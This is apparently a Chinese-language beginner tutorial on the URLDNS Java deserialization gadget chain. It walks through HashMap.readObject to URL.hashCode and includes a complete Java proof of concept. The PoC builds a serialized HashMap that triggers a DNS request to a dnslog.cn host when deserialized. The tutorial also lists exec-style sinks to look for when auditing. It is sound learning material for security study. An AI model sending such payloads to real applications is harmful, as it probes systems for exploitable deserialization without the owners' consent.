URLDNS反序列化鏈
關於java的反序列化只是大概知道是因為readObject方法,導致的但是怎麼個過程導致的rce,還是很迷糊的。
但是直接從CC鏈來學習的話,對新手實在不太友好。所以,今天從ysoserial.jar
中最簡單的URLDNSgadget來學習一下反序列化的流程。
此次利用的URL.class是jdk自帶的,無需依賴第三方。整條利用鏈相對簡單,適合新手練手
根據ysoserial類的poc,下面自行改編
先上圖為敬,如下效果圖
序列化類
反序列化類
執行反序列化類裡面的main方法,如下圖,可以看到dnslog已經接收到了請求
接下來開始分析這條鏈是怎麼走的
程式碼中最重要的三個類是HashMap,URL,URLStreamHandler。其中HashMap重寫了readObject方法,URL類是裡面有個hashCode()方法被HashMap的readObject()呼叫了,URLStreamHandler類是裡面的getHostAddress被URL類裡面的hashCode()方法呼叫了。這樣形成了一條呼叫鏈HashMap.readObject()--->HashMap.putVal()--->HashMap.hash()--->URL.hashCode()
繼續往下看,for迴圈裡面把map的key和value都反序列化了,最後進到了putVal方法裡面
我們跟進hash(key)方法,可以看到傳入了一個Object型別的key,如果key為空,返回0,不為空的話進入key.hashCode()方法
此時我們需要注意了,上圖中的hash方法傳入的是Object型別的,那麼如果我們傳入的是URL類呢?我們看下URL類有沒有hashCode()方法,如果有的話,則能繼續下一步,繼續根據key.hashCode()方法
上圖說hashCode != -1,則直接返回hashCode,而該URL類的hashCode值被預設定義成了-1。如果等於-1,則繼續往下走,我們繼續看hashCode(this)方法
此刻已經分析完了整條鏈的呼叫過程,接下來就是寫poc來實現了
package com.zyp.test; import java.io.*; import java.lang.reflect.Field; import java.net.MalformedURLException; import java.net.URL; import java.util.HashMap; public class UrlDnsSerializeTest { public static void serialize(Object obj) throws Exception { ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("serialize.bin")); oos.writeObject(obj); } public static Object unSerialize(File file) throws Exception { ObjectInputStream ois=new ObjectInputStream(new FileInputStream(file)); Object o = ois.readObject(); return o; } public static void main(String[] args) throws Exception { HashMap<Object,Object> hashMap=new HashMap<>(); URL url=new URL("http://serialize.zxz7y3.dnslog.cn"); //為了下面的put方法不執行URL類裡面的getHostAddress方法,使用反射技術獲取URL類的屬性hashCode,並改變其原有值 Class c= url.getClass(); //獲取使用屬性hashCode Field hashCode = c.getDeclaredField("hashCode"); hashCode.setAccessible(true); //此處hashCode改為111,目的就是為了不進getHostAddress方法 hashCode.set(url,111); hashMap.put(url,1); //hashMap執行完URL類的hashCode()後,通過反射,把URL類的hashCode值設定為-1,在反序列化時進入getHostAddress方法 hashCode.set(url,-1); serialize(hashMap); File file=new File("serialize.bin"); unSerialize(file); } }
突然發現一個問題,HashMap的put方法也呼叫了putVal()
那我們進行序列化時,應該就會有dns請求,的確如果不做其他處理,在序列化時,就會有dns請求。所以看poc,在put之前就通過反射改變了hashCode的值。使其不等於-1,這樣就不會進入到getHostAddress方法
審計思路
需要滿足以下條件
1、如果是Java原生類,則需要入口類有readObject方法,同時實現了序列化介面
2、需要有最終的執行函式(可以執行程式碼或者命令),比如getRuntime.exec,getHostAddress.....等等,這些函 數需要自己平常去收集,這樣審計起來會更得心應手